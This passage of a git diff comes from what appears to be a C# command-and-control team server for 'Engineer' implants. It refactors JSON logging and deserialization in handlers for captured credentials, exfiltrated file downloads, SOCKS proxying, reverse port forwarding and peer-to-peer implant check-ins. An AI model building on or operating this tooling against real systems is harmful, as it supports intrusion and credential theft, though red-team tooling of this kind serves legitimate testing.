),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); - - - TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( - "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); + //EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( + // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions ),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); + + + //TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( + // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); + + var expressionTemplate = new ExpressionTemplate("{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions); + + EventLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); + TaskLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); EventLogger.Information("Logging Service Started"); TaskLogger.Information("Logging Service Started"); @@ -80,8 +93,27 @@ public static void ToPretty() File.WriteAllText($"{filename}_pretty.json", prettyJson); } } + } + + public class IndentedJsonTextFormatter : ITextFormatter + { + private readonly ExpressionTemplate _expressionTemplate; + public IndentedJsonTextFormatter(ExpressionTemplate expressionTemplate) + { + _expressionTemplate = expressionTemplate; + } + public void Format(LogEvent logEvent, TextWriter output) + { + using (var stringWriter = new StringWriter()) + { + _expressionTemplate.Format(logEvent, stringWriter); + var json = JObject.Parse(stringWriter.ToString()); + output.WriteLine(json.ToString(Formatting.Indented)); + } + } } + } diff --git a/TeamServer/Utilities/Engineer_TaskPostProcess.cs b/TeamServer/Utilities/Engineer_TaskPostProcess.cs index 8fdaaf2e..ed6c0b4b 100644 --- a/TeamServer/Utilities/Engineer_TaskPostProcess.cs +++ b/TeamServer/Utilities/Engineer_TaskPostProcess.cs @@ -9,6 +9,7 @@ using System.Text; using System.Threading.Tasks; using TeamServer.Models; +using TeamServer.Models.Engineers.TaskResultTypes; using TeamServer.Models.Extras; using TeamServer.Services; using TeamServer.Services.Handle_Implants; @@ -28,7 +29,7 @@ public static async Task PostProcess_CredTask(EngineerTaskResult result) { var CredsList = new List(); - var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize()); + var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize().Message); // for each credential in the list of captured credentials convert it to a Cred object, where CapturedCredential.Type is the Cred.Type and the Cred.Value is either the CapturedCredential Hash,Password, or ticket depending on type foreach (var cred in capturedCreds) { @@ -68,7 +69,7 @@ public static async Task PostProcess_DownloadTask(EngineerTaskResult result,stri List parts = new List(); //take result.Results, find each occureance of PARTS and everything before that until the next occurance of PARTS and add it to the parts list - var partTest = result.Result.Deserialize(); + var partTest = result.Result.Deserialize().Message; while (partTest.Contains("PARTS")) { var partIndex = partTest.IndexOf("PARTS"); @@ -141,7 +142,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result) //if result.Id is socksConnected then split the incoming result string into an array and element 1 is the client unique string and we need to update the Proxy.SocksDestinationConnected if (result.Command.Equals("SocksConnect", StringComparison.CurrentCultureIgnoreCase)) { - string resultString = result.Result.Deserialize(); + string resultString = result.Result.Deserialize().Message; var socksConnected = resultString.Split(new[] { "\n" }, StringSplitOptions.None); //element 1 in the array matches a key in the SocksDestinationConnected dictionary update the value to true //find the Proxy item in the HttpmanagerController dictionary that matches the socksConnected[1] key @@ -155,7 +156,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result) else if (result.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) { var socks_client_length = BitConverter.ToInt32(result.Result.Take(4).ToArray()); - var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize(); + var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize().Message; var socks_content = result.Result.Skip(4 + socks_client_length).Take(result.Result.Length - (4 + socks_client_length)).ToArray(); //Console.WriteLine($"teamserver received {socks_content.Length} bytes from {socks_client}"); @@ -176,7 +177,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result) //if result.Id is rportsend take the result.Result and split it at the new line and element 0 is the data and element 1 is the guid if (result.Id.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase)) { - var split = result.Result.Deserialize().Split(new[] { "\n" }, StringSplitOptions.None); + var split = result.Result.Deserialize().Message.Split(new[] { "\n" }, StringSplitOptions.None); byte[] temp = Convert.FromBase64String(split[0]); //split 0 is the data split 1 is the guid string client = split[1]; //Console.WriteLine($"teamserver received {temp.Length} bytes from {client}"); @@ -187,7 +188,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result) public static async Task PostProcess_P2PFirstCheckIn(EngineerTaskResult result, Engineer HttpEng) { - string[] resultArray = result.Result.Deserialize().Split('\n'); + string[] resultArray = result.Result.Deserialize().Message.Split('\n'); //this is the metadata stored in the result string from the p2p implant string Base64Metadata = resultArray[0]; string parentId = resultArray[1]; diff --git a/TeamServer/Utilities/Seralization.cs b/TeamServer/Utilities/Seralization.cs index edd68e27..d372ef0f 100644 --- a/TeamServer/Utilities/Seralization.cs +++ b/TeamServer/Utilities/Seralization.cs @@ -71,10 +71,35 @@ public static byte[] ProSerialiseForDatabase(this T data) public static T Deserialize(this byte[] data) { + string json = null; try { - //Console.WriteLine(Encoding.UTF8.GetString(data)); - return JsonSerializer.Deserialize(data); + json = Encoding.UTF8.GetString(data); + //Console.WriteLine(json); + if (data.Length > 0) + { + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + return JsonSerializer.Deserialize(data, jsonSerializerOptions); + } + else if (typeof(T) == typeof(string)) + { + //json.Trim('"'); + return (T)(object)json; + } + else + { + Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); + return default(T); + } + } + else + { + return default(T); + } + } catch (Exception ex) { @@ -85,6 +110,19 @@ public static T Deserialize(this byte[] data) } } + private static bool IsValidJson(string json) + { + try + { + using var doc = JsonDocument.Parse(json); + return true; + } + catch + { + return false; + } + } + public static T ProDeserializeForDatabase(this byte[] data) { try